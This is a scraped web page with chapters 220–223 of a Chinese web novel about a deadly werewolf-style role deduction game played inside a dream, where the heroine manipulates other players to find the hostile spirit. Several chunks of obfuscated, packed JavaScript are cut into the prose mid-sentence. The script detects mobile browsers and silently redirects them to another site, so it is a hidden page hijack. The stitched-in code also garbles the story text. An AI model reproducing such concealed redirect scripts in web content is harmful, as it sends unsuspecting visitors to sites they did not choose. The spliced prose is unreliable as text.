RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220565|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺下,试图让自己重新进入沉睡状态。 这样的结果和她计划的没有任何出入,一切都在预料之中,俞小澄并不在意谁死了,甚至此刻已经在考虑下一晚除掉谁了。 或许再拉一羊一人进屋,便可以干掉石头和小胖这两只狼。 至于人选,她已经想好了,猎人小白和灰羊大林,让这三名高中生斗个你死我活也挺有意思的,恶灵会回避杀死朋友吗? 带着这份好奇心,俞小澄终于睡着了。 幸好之后呼唤声没有再出现,她一觉睡到天亮,房间中发出的一声惊叫混着一股兴师问罪的味道,将她的困意全都驱散了。 一大早,心情就被小胖的大吼大叫破坏了,俞小澄忍着怒气看向在房中上蹿下跳的小胖,听见他嘴里念叨个没完。 “好啊,果然有人撒谎!我就说我昨晚怀疑得没错吧!” “桑姐和小布怎么会不见了?按照规则死的不应该是他吗?” “瞧你们找来的人,根本就是披着人皮的狼!” “还有某人,嘴上说自己是狼,实际身份是红狼吧!” “昨晚她肯定发动技能了,不然桑姐怎么可能也没了?” 小胖一会儿瞥一眼俞小澄,一会儿冲石头指指点点,言中之意实在过于明显。 在他看来,石头加入队伍前,他们是4狼1羊,找个人则人死,找只狼则羊死,找只羊则2羊死,他自己是绝对安全的,所以他才能如此放心俞小澄找过来的人加入队伍。 可一觉醒来,房间结算的结果与他的预想不一样,他立马意识到,石头并不是人阵营,应该是狼才对,所以小布死了。 唯一让他感觉奇怪的是桑姐,按理说桑姐不可能因为房间结算而死,可她又跟小布一同消失了,于是他第一个怀疑的是俞小澄。 如果俞小澄隐瞒了自己的红狼身份,昨晚袭击了与自己不和的桑姐,那一切就都说得通了。 小胖沉浸在自己的臆想中,对俞小澄怒目而视。 范正昂好言相劝,试图安抚小胖的情绪。其实他此刻也是一头雾水,他比石头多一点视角,他知道五位住客的真实身份,却唯独不知道石头的身份。 他以为俞小澄真的叫了个人来加入队伍,没想到最终死的是桑姐和小布。 面对小胖的怒意,石头表情平静地嘲讽道:“怎么,只允许你们害人?你们自愿相信我属于人阵营,要怪只能怪你们自己蠢!” “你说什么?有种再说一遍!”小胖气势汹汹地扑向石头,被范正昂眼疾手快拦了下来。 俞小澄看着小胖那副受害人作态,心中厌恶至极,不由得冷笑起来:“你又好到哪里去了?你不是白羊吗?那你怎么没死呢?在指责别人前,不如先照照镜子,你算个什么东西!” 小胖被怼得面色通红,一半是被拆穿的窘迫,一半是恼羞成怒,正面打不过便另辟蹊径,揪着桑姐的死攻击道:“就算我没说实话,那桑姐又怎么死的?肯定是你没安好心,昨晚袭击了桑姐。” 俞小澄闻言只觉好笑,语气冰冷地回道:“你俩真是天生一对,一个装羊,一个装狼,没脑子还耍小聪明,这下把小命搭上去了吧!” 说罢无视小胖的无能狂怒,独自一人离开了房间。 220. 梦境(九) 昨日一整天没吃东西,这会儿身体总算向俞小澄发出了警告,她无奈地下楼来到厨房。 这场梦境没有自助餐厅,要吃什么只能自己下厨,俞小澄只好随便煎了一个蛋,烤了两片吐司,再给自己泡了一杯咖啡。 当她悠闲地坐在餐厅里独享早餐时,范正昂一脸困惑地找了过来。 他一来便向俞小澄求解道:“到底是怎么回事啊?看你昨天那么胸有成竹地让我找人,我还以为你敢肯定会有人会上当呢……” 范正昂一时不知俞小澄心里究竟打的是什么算盘,什么都没有跟他讲。今日仔细回想,方觉得情况有些奇怪,昨日那个长发女人一听说他们要拉人羊局,一口就答应下来,根本不需要他费口舌。 当时他只相信俞小澄肯定有自己的想法,所以没有深究。 俞小澄噗嗤一笑,问:“你不会真以为你我找来的NPC属于人阵营吧?” “不是吗?” “当然。” “所以你一开始就打算拉狼入场?” “没错,不止石头,就连你找来的那个长发女人也是狼。” 俞小澄语调轻快地解答着范正昂的问题,范正昂听得目瞪口呆。 “怎么会?狼干嘛入人羊局?不怕找死吗?”范正昂费解地问。 俞小澄漫不经心地回答:“因为在这场价值一个亿的生死决斗中,他们都会相信人性的恶,所以不会相信我们对外宣称的是真话。” 她所指的不止是狼,就连人和羊也一样。 “正因如此,人和羊是不可能选择加入我们的。”俞小澄十分肯定地说出自己的看法。 范正昂则一脸疑惑,他并不明白俞小澄哪里来的自信,就算她有对付恶灵的办法,可终究没法读取NPC的想法。 见范正昂一副欲言又止的模样,俞小澄低声解释:“我们对外宣称是3人2羊,人和羊必然会怀疑我们身份的真实性,再根据我们人数与相互之间利益的可能性,得出加入我们对他的威胁或许最大的结论。” 范正昂仔细思考着俞小澄的话,并回想着游戏规则,不一会儿便明白俞小澄的自信究竟来自哪里。 “在羊眼中,有两种情况对他们来说十分危险,一是人狼平局,二是全狼或狼羊组合。当时我们对外在找人,从集体利益出发,人狼平局的局面怕是不可能,全狼或狼羊组合且狼的数量不低于2的可能性很高。”范正昂边想边分析着。 俞小澄点头道:“没错,所以面对这种可能存在的风险,羊不可能加入我们。人的情况亦是如此,明摆着的陷阱,怎么可能有人往里跳?” 范正昂有些不理解,问:“人和羊就不会考虑我们没有撒谎,真的只有人羊组合的情况吗?” 俞小澄笑他将人性看得太美好,只要有风险存在,人和羊又怎么可能为了一点美好期许冒险呢? 范正昂顺着方才对人和羊的判断思路细想了一番,总觉得没法断言,担忧地说:“对狼来说,也不是百分百安全吧,就像你刚才说的,狼也没道理冒险啊。” 俞小澄摇了摇头,缓缓说道:“情况虽然差不多,但就结果而言,两者有本质区别。我们的话如果为真,对人和羊而言是安全,但他们不会相信会有这样好的事;对狼而言是危险,但他们大概率宁愿赌我们不安好心。” 范正昂依然不敢肯定,问:“何以见得?” “一直保羊,对人阵营没有好处,若狼阵营先被消灭,人将彻底失去对付羊的手段。”俞小澄一脸冷漠地回答,“一旦过了第一晚,恐怕很多人的身份都会曝光,届时再想要削弱对手,恐怕难度会更高。” 范正昂尽力想将人心往好的方面想,而俞小澄不得不以恶为优先。 当外部的人听说他们要拉人入伙,必然都会觉得他们想要害人阵营,那么全狼或者狼羊组合可能性更大。 此时对羊来说是巨大的威胁,不可能自己往火坑里跳。 同样的,人不会自动送上门,必然隐藏身份远离他们。 只有对狼而言是巨大的诱惑,狼完全可以伪装成人,将计就计消灭羊阵营。 这一番说明,范正昂总算明白俞小澄的用意,不由得为队中两羊默哀。 谁让她们一来,谁不好得罪,偏偏得罪了最不好惹的俞小澄。 “对了,那个石头,他不仅是狼,还是红狼。”俞小澄随口提醒道。 范正昂差点被呛住,目瞪口呆地问:“你叫红狼来加入我们,就不怕他发动技能吗?” 俞小澄淡然安慰道:“别慌,我只是觉得要拉灰羊入局防红狼不太现实,为了不被红狼袭击,还不如直接拉红狼入局。” “妈呀,俞小姐你想得真周到……但能不能提前让我有个心理准备?你是真不怕出意外啊?”范正昂抹着额头冷汗说。 俞小澄肯定道:“放心,在红狼眼中,我们是狼羊组合,他不用动手就可以消灭队中的羊羔,随便动手反而容易误伤同阵营小狼,所以技能还是直接往其他房间招呼为好。” 范正昂佩服得五体投地,默不作声地冲俞小澄竖起大拇指,随即又担忧道:“如今我们房间里出现了死亡,如果没人愿意加入,我们再与石头和小胖同屋就是送死。怎么办?要加入其他队伍吗?” 俞小澄淡定地邀请范正昂加入早餐行列,若无其事地说:“别急,吃饱了才有力气思考。” 范正昂有些无语,却又无可奈何,只能被迫加入这场饭局。 慢悠悠地用过早餐后,俞小澄才往客厅走去,然后发现不少已经起床的人正聚集在会议厅里,于是好奇地拉上范正昂前去凑热闹。 今日的会议厅内稍微有点不一样,投影幕布上的三十位参赛者,有的图片变成黑白,一个红色的叉将照片覆盖掉,其中就有桑姐和小布。 显然,投影幕布上公布了昨日的出局情况。 而在所有照片的下方,又增加了一条信息,显示着昨日每间房的结算情况。 【A出局2人,B出局2人,C平安夜,D出局2人,E出局3人】 死亡情况一目了然,但并未公布出局者的身份。 会议厅里的气氛很压抑,除了C房间,所有房间都有人员出局,不少人正结合游戏规则,比对出局信息,推算着别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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招财抹着眼角泪花道:“唐景是真的灰羊?哈哈哈,他没死是因为灰羊昨晚跟他住一起啊。” 俞小澄看破不说破,继续顺着这个话题问道:“所以一早你就知道冯乐志不是灰羊了?” 石头得意地笑了起来,坦诚直言:“没错,昨天我最早接触的就是冯乐志,然后我们发现了互认身份的方式,也是我教他自认灰羊,一是套取身份,二是逼灰羊现身。” 俞小澄又问:“昨天跟你商量谁留在我们队伍的那个女人,也是知道了冯乐志的身份才去的?” “没错,我告诉她我是红狼,并告诉了她关于灰羊的计划,她算是第二个与我互认身份的同伴。”石头脸上的表情仿佛在等待夸奖,“因为昨天还不确定你们队里谁是狼谁是羊,所以就暂时隐藏了身份。” “呵呵,真是下得一手好棋啊。”俞小澄适时地给予他想要的称赞,又接着问道,“那今晚你打算如何?” 石头想了想,说:“再找两个人或两只羊来宰吧。” 俞小澄摇头否决道:“今天恐怕行不通了,要找只能再找1人1羊。” 221. 梦境(九) 如果只拉1人1羊入队,注定一晚只能解决1个竞争对手,自然没有拉2人或者2羊入队来得干脆利落。 石头和小胖全都对俞小澄的方案表示质疑。 俞小澄用看傻子的眼神看着这二人,面色阴沉地说道:“忘了昨天我们对外的信息是啥了吗?就算不是所有人都知道,但还是有不少人知道当时我们在找人阵营入伙,想组人羊局,可最后我们房间出局2人。” 小胖不以为然地发表了自己的看法:“这有啥关系,就说那两人隐瞒了自己狼身份呗。” 俞小澄简直不想跟傻子说话,沉默着死死盯着小胖。 见她一副要揍人的模样,范正昂赶紧介入二人之间,耐着性子讲解道:“唯一可能死2狼的格局,是3人2狼1羊。那最后加入我们的石头就一定得是人,但如果去掉石头,我们的格局就变成了2人2狼1羊,这种情况下,狼怎么可能同意再招1人进入队伍?” 小胖掰着指头计算了一番,最后将自己绕得头晕脑胀,干脆放弃思考,缓解尴尬一般催促道:“行了,就当是这样吧,难道找1人1羊就合理了吗?” 俞小澄直接闭了眼,懒得多看这蠢货一眼,范正昂便只好继续替她解说。 “嗯,找1人1羊的情况就不一样了,我们可以认昨晚死的是2羊,而队伍中有2人撒了慌,隐瞒了自己是狼的信息,于是出现了2人2狼2羊的格局,最终导致了2羊死亡。” 石头摸着下巴一脸沉思,消化片刻便点头同意道:“这办法不错,我跟你们其中一人可以自认是人阵营,假装寻找1人1羊来报复2个背叛者。” “等等,那剩下那两狼还留在队伍中等待被报复不是很怪吗?”小胖发现了整个故事中的漏洞。 俞小澄不得不佩服他这关键时刻突然上线的智商。 范正昂心头一紧,转头看向了俞小澄,俞小澄不慌不忙地开口道:“很简单,就说那2狼认错了同伴,以为现在的格局是4狼呗。” 俞小澄一脸淡定地将真话当假话讲,骗得石头和小胖连连称妙,她险些忍不住笑出声。 “方案是定下来了,问题是我们要如何确定加入队伍的参赛者的身份呢?”石头又问道。 俞小澄弯曲手指,偷偷冲石头比了个“C”,然后笑道:“只有C房间是平安夜,说明要么全羊,要么人羊组合,我去找C房借两个人,看他们上不上套,如果上套必定是1人1羊,否则就是来寻死的。” 小胖仿佛抓到了俞小澄话中的漏洞,迫不及待插话道:“你怎么肯定C房间不是全狼房?” 俞小澄差点想抬手给他一巴掌,最后捏着拳头,咬着牙,忍着怒气回答道:“你是不是脑袋被驴踢了,我们房间剩4狼,B房间还剩3狼,总共就10头狼,C房间上哪儿再凑个全狼房出来?” 小胖被怼到无言,灰溜溜地躲到了边上。 石头听懂了俞小澄的逻辑,脸上露出胜券在握的笑容,便将骗人这件事全权交给了俞小澄,并拍着俞小澄的肩,信誓旦旦地说道:“这场游戏的胜利,必定属于我们狼阵营!” 小胖虽没听懂他们为何那般笃定,但不愿暴露自己理解能力弱,也只好随声附和,虚伪地为俞小澄加油打气。 范正昂有些不放心,问俞小澄要不要他陪同。 俞小澄一口拒绝了,说:“既然对外的戏码是我与石头计划报复你跟小胖这两头狼,那我一个人最合适,石头留下稳住你俩,我一人向外求助,做戏就要做全套。” 范正昂听出她话里有话,默默朝俞小澄点了点头,眼神告诉俞小澄,他保证完成稳住两狼的任务,不让石头和小胖起疑。 石头还满心以为俞小澄在提醒他,拍着胸脯道:“放心,我就演看住他俩,保证没人能发现异常。” 商量完毕后,俞小澄便大摇大摆走出了会议厅,在房子里寻找起昨晚入住C房间的参赛者,准确来说,她只是在找小北。 很快,她就在餐厅里发现了小北,此刻他正与另外五个同伴一起用餐。 俞小澄将小北单独约到了书房,锁上门,直截了当地说:“我希望你能帮忙。” 小北一脸警惕,上下打量着俞小澄,谨慎地问道:“什么忙?” 俞小澄按照剧本将昨晚的事添油加醋地说了一遍,哭诉自己一片善心如何被骗,而同伴又如何惨死在恶狼的阴谋下,再愤慨地表示一定要让那两头狼偿命。 小北听得呵欠连天,显然对她这矫情的故事不感兴趣,更懒得帮忙。 俞小澄口风一转,反问:“难道你想一直平安夜到结束吗?不消灭对手,如何取得最后的胜利?” 说这话,小北立马不困了,但谨慎起见,又反复确认道:“你如何肯定我身份不是狼?” 俞小澄神情自若地回答:“分析起来有点复杂。首先我们A房中有2狼,据我们房间的狼人透露,B房剩下3人皆为狼,E房间出局3人,可以直接排除人狼同数的可能性,那剩下的3人必定全是狼,由此可见,C房更不凑不够6头狼。” 小北听得津津有味,点点头,又换了个问题:“可我要如何相信你没说谎呢?” 俞小澄早知道他会如此问,没有立刻回答,而是在房中一顿翻找,最终找到两支笔和两张纸,将一半递给小北,然后才说道: “很简单,你我同时在纸上写下身份卡牌上的号码。如果能对上,就说明你我都属人阵营;如果对不上,就得麻烦点了,你可以找E房间的参赛者,打探他们卡牌上的号码,看看是否和我一样。” 小北点了点头,接过纸笔,绕到俞小澄看不见他下笔的地方,写下了一组数字。 俞小澄嘴角偷偷上扬,心知这个人已经成功拿下了。 她自然清楚,她二人写下的号码必定一样,所以根本不用费功夫再去确认E房间参赛者的卡牌号码,她这么说,纯粹为了让自己看上去坦荡,彻底打消小北的疑虑罢了。 两人写完数字后,将纸同时在面前展开,果然两张纸上都写着“No.736”。 于是小北答应了俞小澄的请求,表示先去向C房同伴说明转房一事,并愿意在C房内帮她找来一只羊帮忙。 由小北出面协调,俞小澄自然很乐意,省去复杂的解释工作,并且知道A房的情况后,他们也必须保证送来的是1人1羊。 等到俞小澄带着两位新朋友加入队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228797|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍时,已经过去了大半天。 令俞小澄意外的是,当小北和石头见面时,他们俩好像互不认识,俞小澄一时分不清小北究竟是在演戏,还是他根本就是恶灵创造出来的NPC。 于是一整个下午,俞小澄忍受着这群人虚伪的、相互欺骗的互动,没有独自一人躲进休息室,而是安静地观察着小北和石头这两个人。 这两个人的相处模式格外陌生,更像是相互之间存在竞争关系的对手,丝毫都看不出两人的朋友关系。 俞小澄愈发怀疑,小北或许不是这场梦境的恶灵。 为什么恶灵要创造一个好朋友之间互不认识的梦境呢? 这个问题困扰了俞小澄许久,她开始尝试与小北交谈,从中寻找线索。 “这场游戏对你来说什么最重要?”俞小澄又一次用这个问题开场。 小北想都没想就答道:“还能有啥,当然是赢得最后的胜利,成为有钱人啊!” 这回答基本符合梦境的主旋律,却又好像没有灵魂一样枯燥。 “你一个人来参加这场游戏?没有家人朋友陪同?”俞小澄试探道。 “哈哈,大姐你这想法真是有意思,玩游戏是为了分出胜负,又不是旅游,干嘛要带家人朋友?”小北取笑道。 俞小澄不甘,又换了个问题:“如果你跟朋友同时落入这场游戏之中,偏偏阵营不同,你会怎么做?” 小北听到这个问题,突然认真起来,与先前不同,这次他思考了片刻,才回答道:“若有这种事,那我一定全力以赴,与兄弟比比谁能赢到最后。” 一旁的石头听到二人对话,向小北投来钦佩的眼神,直言道:“英雄所见略同,全力以赴是对对手最大的尊重。” 二人瞬间有种相见恨晚的感觉,默契地击掌。 看两人表情不似演戏,好像真的不认识,却因为有着相同的想法而惺惺相惜,恨不得当场结拜。 俞小澄看着这个莫名其妙的画面,感觉脑瓜嗡嗡响,实在不理解这场梦境究竟图的是什么。 好歹有一点她可以肯定,恶灵的嫌疑她不得不先锁定到另一人身上,大概得找机会探探另一人的口风。 晚些时候,石头又撺掇队里五人跟他一起投票给唐景,队里无一人反对。 俞小澄大概算了一下票,除了石头和小胖这两头狼,还有B房间的三人会将票挂到唐景头上,如果再加上俞小澄四人的票,总共9张票在仅剩的20人中占据优势很大。 因为其他人暂时还分不清冯乐志和唐景谁是真的灰羊,要么会在外置位分票,要么选择弃票,只要票不能统一定在某人头上,便没法敌过暗中勾结的狼。 当晚上9点的钟声敲响,众人又一次齐聚会议厅,紧张地望向投影幕布,全都希望今晚驱逐的结果会和自己投下的票一样。 在旁人没注意的地方,石头和冯乐志相视一笑,难掩浮上嘴角的笑,那表情感觉似乎已经胜券在握,只等结果公布后放肆庆祝。 在万分焦急的等待中,投影幕布上出现两个个名字:冯乐志和唐景,后面依旧跟着柱状图和投票数。 冯乐志11票,唐景5票,4人弃票。 222. 梦境(九) 冯乐志看到投影幕布上自己的名字,以及名字后远远超出唐景的投票数,惊得一句话都说不出来,震怒地盯着身旁的伙伴。 石头比冯乐志更惊讶,明明算好的至少有9票会挂在唐景头上,结果莫名少了4票,而剩余的11票是一票都没分散,整齐统一地挂在了冯乐志头上。 此时唐景正带着点挑衅意味望着冯乐志,气得冯乐志直接拨开人群,冲向了唐景,揪住衣领,抬手就是一拳打在对方脸上。 一瞬间,场面乱得跟水壶里的水烧开了一样。 不想惹麻烦的人赶紧远远退到一旁,帮助唐景的人、与冯乐志坐一条船的人、凑热闹的人,霎时间战至一团,相互推搡。 石头的眼睛一会儿看看“战场”,一会儿看看身旁的队友,一时不知道该先顾哪一边。 要说他的队友,除了此刻同样不知所措的小胖,其余四人全都一脸冷漠。 这让他不得不怀疑,少的那4票就出自这四人之手。 石头:“呵呵,不应该吧,你们难道都没按照我说的投票?我们不是说好了吗?” 小北:“你们说好了,跟我没关系,我只答应过来住一晚,可没答应别的。” 小北带来的羊:“别看我,北哥让我干嘛我就干嘛。” 范正昂:“昨天那情况你又不是没看到,投票就是杀人,我做不到。” 俞小澄:“我也是弃票,你看问题不在我们,就算我们投票了,9票也打不过11票啊。” 四人各有各的理由,同时也各有各的牵强,石头一时无言以对。 事实上,挂在冯乐志头上的11票全是俞小澄的功劳。 就在她寻找1人1羊的时候,与小北所在的C房达成了共识。 她向C房参赛者透露了冯乐志的狼身份,至于敢肯定的理由,她只能搬出红狼的自曝发言,可红狼的身份不能是石头,她便将这个身份悄悄安排给了小胖,以此说服C房参赛者,并号召6人将票一起挂到冯乐志头上。 而后她又偷偷见了唐景那队人,依然是同样的操作,借着红狼的证词,替唐景洗清了嫌疑,帮他做实了灰羊身份,并撺掇4人一起挂票给冯乐志。 而她与范正昂也并不像口头所说的那般,选择了弃票,冯乐志拿下的11票中就有两票是她二人贡献的。 按理说,会有12票挂在冯乐志头上,不知里面哪个人最后选择了弃票。 就在会议厅里陷入骚乱时,驱逐间的门缓缓开启,那两个执行者又带着沉重的脚步声走出了驱逐间,用那两个没有眼球的阴森黑洞寻找着目标。 俞小澄这时才注意到驱逐间里的人形琥珀化石已经消失了,而再过半个小时,那展示柜一样的房间里将会迎来一个新的“人形艺术品”。 冯乐志发了疯似地冲出会议厅,而径直朝他走去的两个执行者始终维持着自己的步调,即便冯乐志已经跑得没影了,那两人也没有加速的迹象。 这两个怪人毫不慌张地穿过人群,走出会议厅,很快会议厅内便只能听到那沉重的脚步声,有节奏地在房子里回响。 好奇的人跟着跑出了会议厅,不少人想看看最终冯乐志是否能逃脱驱逐的结果,这对他们来说也很重要。 如果有人能逃脱,那就意味着驱逐投票不再是致命的环节,或许谁都有所期待,毕竟谁也不想被投出局。 俞小澄对此毫无期待,她若无其事地坐在会议桌旁,观察着人群。 石头因为担心盟友,小北因为好奇,全都跟出了会议厅,只有大林像个没事人,坚守在会议厅无人的角落里,极力降低自己的存在感。 这样的观察并没有持续太长时间,因为那两个走路缓慢的执行人居然一人拖着一条腿,将冯乐志拖回了会议厅。 跟去看热闹的人总算死心了,有的人不想观看残忍的处决画面,索性没有回会议厅,有的人纯属胆子大好奇心重,全程跟在执行者身后,看着冯乐志一边呼救一边被倒拖一路,最终进了驱逐间。 与昨日的情况没什么太大区别,冯乐志被迫坐在了椅子上,然后便没了动静。 椅子正上方的天花板上落下一团团黑泥,渐渐爬满冯乐志全身。 半个小时过去,当磨砂玻璃变得清晰透明时,一尊黑泥人像雕塑出现在众人眼前。 第二天的驱逐仪式就此完结。 众人赶在11点前回到了各自的房间里,等待着第二晚发动技能的时刻。 所有人的选择都与昨天没太大区别,除了人数变化外,全都选择了与昨晚一样的房间。 此时俞小澄等人就坐在A房间里,一成不变的房间里,唯一改变的是昨晚被处决的那两张床上,现在换了两个人。 在技能发动阶段开始前,俞小澄以肚子饿为借口,特意叫上石头离开了房间,在不知情的人眼中,这两个人阵营一起行动看上去也挺正常。 俞小澄到餐厅倒了杯水,确定周围没人后,才一脸认真地对石头说道:“今晚你的技能可能得往C房间使了。” “为啥是C房?”石头不解地问道。 俞小澄说:“因为只能选C,B房中全是狼,E暂时不知成分,D有灰羊无法动手,而C已经可以肯定,之前人羊混房,但被我们拉走了1人1羊后,你觉得有没有可能会出现全羊房呢?” 石头恍然大悟,点头道:“也对,得抓进时间消灭C房的小羊,否则让他们进到D房,我们狼就真赢不了了。哎,明日得赶紧把唐景投死,不然我对D房发动不了袭击。” 俞小澄敷衍道:“嗯,对对对,明天你在外置位再找找狼,多拉几个人跟我们一起投票,不然就我们这几票也很难赢得了。” 石头无奈地叹了一口气,有种想要怨她又不知说什么好的憋屈感。 等二人回到房间时,距离门禁时间也没剩几分钟了。 伴随着晚上11点的钟声响起,房间里又出现了那个经过特殊处理的声音。 “请房中的参赛者依次进入密室,密室每次会封闭10分钟,各位可在里面慢慢思考是否发动技能。为了不暴露身份,没有拿到特殊身份的参赛者也必须进入密室,安静等到封闭时间结束。” 规则没有变化,而屋里的人也是轻车熟路。 俞小澄又一次在不同任何人商量的情况下,第一个走向了密室。 这一次,小胖总算没有横加指责,其他人也自然地商量起进入密室的顺序。 俞小澄闪身便进了密室,紧随而来的是不受任何人任何事打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大概是昨夜她没有选择出门查看穷追不舍的记忆碎片,所以那碎片又不死心地再叫醒了她一次。 俞小澄在熄灯的房间里坐起身,房间中只有平稳的呼吸声。 这次她抬起手腕看看了手表,时间显示12:02,她刚睡了不到一小时。 门缝下又透出微弱的光,仿佛在给俞小澄指引方向,这次俞小澄没有下床,她料想自己走到门边,又该碰上执行者来对房间进行结算,暗自腹诽道:“你怎么跟吴樊祐一样老想着诱我往火坑里跳!” 果然等了一会儿,俞小澄能明显地从床垫上感觉到地板在震动,耳边又响起沉重的脚步声,徐徐往她的房间走来。 俞小澄翻了个白眼,无视掉门缝里的微弱亮光,转身躺下,用被子蒙住脸,静静等待执行者入场。 一阵开门声响起,那两个执行者的脚步声转进了房间里,与昨夜一样,他们在房间里来回走动,似乎是在确定目标所在的位置,然后便将人扛在肩膀上,一人扛一个,缓缓离开了房间。 关门声响后,俞小澄又等了片刻,直到脚步声远了,才从被子中露出头。 她勉强看清范正昂那一排的三张床上,此时已经空了两张。 一切都同她计划的一样,只需等明日一早确认死亡情况后,这场游戏的结果就一目了然了。 俞小澄一边这样想,一边又进入了梦乡。 223. 梦境(九) 天亮后,房间中的四人陆续醒来,看到空着的两张床,谁也没有感到意外,因为应该感到意外的人此时已经消失了。 这场全是实话假说的计划,被蒙在鼓里的人一直都只有石头和小胖。 只是小北和他带来的羊稍微有些不懂,为何死掉的是石头,而不是范正昂。 范正昂笑着说道:“如果一开始告诉你们我是人,石头是狼,恐怕你们又要多想了。” 不止是为了让小北二人相信他们格局的确如此,更重要的是避免石头怀疑他们前一晚当真是人狼同数的格局。 小北指着范正昂,一脸服气地对俞小澄说:“你也是胆大,就不怕我昨晚谨慎起见,一枪把他给崩了?到时候直接情况反转,还害死我带来的小羊羔。” 俞小澄微微一笑,道:“所以我不是给你指了可以射击的目标嘛。” 小北无奈地摇了摇头,随后便提议下楼看看昨夜情况如何。 俞小澄一边起身往外走,一边收敛了脸上的笑容。 石头死了,小北似乎真的一点感觉都没有,而恶灵也没有发动任何技能给他们上难度,这场梦境对俞小澄来说实在太陌生了。 并且,如今住客也就剩她与范正昂两人,他俩都属于人阵营,何况这游戏好像没有改阵营的选项,其实已经可以算分出了阵营胜负,但游戏依然没有结束。 到处都散发着古怪的气息,让俞小澄看不明白,大林到底为何要创造这场梦境? 带着满脑子的疑问,俞小澄跟随其他三人一同来到了会议厅。 投影幕布上的头像又被红叉叉掉了几个,而昨晚房间的结算情况也显示在了照片最下方。 【A出局2人,B平安夜,C出局1人,D平安夜,E出局1人】 俞小澄记得最早让招财探过C房间的虚实,里面有2人4羊,昨天被她借走了1人1羊,还剩1人3羊。 而B房间和E房间已经形成全狼房,但昨夜没有出现屠房的情况,也就意味着C房间出局了一只羊。 “啧,这红狼的运气还真是差,四选一没能选中那个人。”俞小澄在心里暗骂道。 如果昨晚红狼运气好,袭击了C房间里唯一的那个人,让C房间形成全羊房,那B房间和E房间的狼人便可以全部出局了。 至于E房间出局的1个人,俞小澄不用猜也知道,肯定是猎人发动了技能,猎杀了一头狼。 整个场上,也就俞小澄因为开了天眼,对局势一清二楚,其他人只能猜个大概。 如今还剩7人4狼4羊,每个房间的参赛者估计都不会有大动作,局势极有可能会就此僵持不下。 小北提议再骗两头狼到队伍中,然后再驱逐C房间1人,运气好的话,只要过一晚就可以彻底消灭狼阵营。 小北一心只想赢得游戏胜利,杀心很重,根本不在意死的会是谁。 范正昂则趋于保守,宁愿保持3人1羊格局,蹲个平安夜,让B和E两间房的参赛者自动在全羊房出现的夜晚消亡。 俞小澄也不赞成骗两头狼入队伍,倒不是保守,而是她认为现在已经没有狼会蠢到上当了。 光是看A房间两夜的死亡情况,大致都能推出真实格局了,只有傻子才会送上门。 当队里其他三人为接下来的行动苦恼时,俞小澄的注意力已经完全偏移至大林身上,时刻注视着大林的一举一动,心中满是疑惑。 当她发现大林离队去了别处,她也找借口溜出了会议厅,然后拦住了大林,将人叫到了休息室。 大林没有拒绝,对俞小澄也没什么戒心,或者可以说,他根本没将俞小澄放在眼里。 “要来场对决吗?”俞小澄没有直接道明来意,而是举起手柄邀请大林来场游戏。 大林表情淡淡的,充满了不屑,直言不讳地拒绝:“我对与陌生人玩游戏不感兴趣,只有我的朋友才有资格与我对决。” 一句话拒人于千里之外,可俞小澄从这句话中听出点有意思的东西。 俞小澄不顾大林反对,直接打开了游戏机,然后一边自顾自地玩起来,一边漫不经心地发出疑问:“哦?你对与陌生人玩游戏不感兴趣,那你干嘛要参加这场价值一亿奖金的游戏?” “哼,你懂什么,这场游戏又不是为你们这些废物准备的。”大林说话时,语气强硬,丝毫不留余地,一副欠扁的样子。 俞小澄暗中给进宝递了个眼神,进宝立即会意,爬上了俞小澄的肩,随时准备附身。 “所以,这场游戏是你为朋友准备的?”俞小澄继续试探。 大林似乎根本没打算隐瞒,微微仰起头,一副不可一世的模样,说:“那当然。” 大林的坦白让俞小澄有些意外,其他梦境的恶灵都忌讳被拆穿身份,而大林似乎并不在意。 “对你来说,这场游戏重要的是什么?”俞小澄不解地问道。 “与朋友在一起,让他们得到想要的东西。”大林坦诚地回答。 “呃……你有一个朋友昨晚已经没了……” “我知道。” “你怎么好像不在意?” “我干嘛要在意,等到我们三人分出胜负,这场游戏将再次重启,我们永远会在一起,没有人能打扰我们。” 俞小澄突然感觉明白了大林所谓的“我对与陌生人玩游戏不感兴趣”。 这场梦境存在的意义,仅仅是恶灵与他两个朋友之间的游戏对决,所以他们三人一开始才被分到了不同的阵营,而所谓的胜利也不由阵营决定,而单单由他们三人的胜负决定。 “如果从今天起,每间房都是平安夜,一直持续到最后一天也分不出胜负,会如何?”为了印证自己的猜想,俞小澄提出了假设。 她说的这种情况其实现在很容易发生,除了白天投票驱逐一人外,只要不出现全羊房,就会一直出现平安夜,剩下3天的时间根本分不出胜负。 如果一旦出现全羊房,狼阵营将会覆灭,可如果不是像俞小澄这般开了挂,基本上很难有人能区分出人与羊,所以羊想要彻底获胜,也不是一间件易事。 大林语气平淡地回道:“无所谓,最后一天如果不止一个阵营存活下来,那就比一比每个阵营活下来的人数,人数多的阵营获胜,赢的那一方可获得奖金,游戏结束,然后等下一场重新比过。” “如果人数 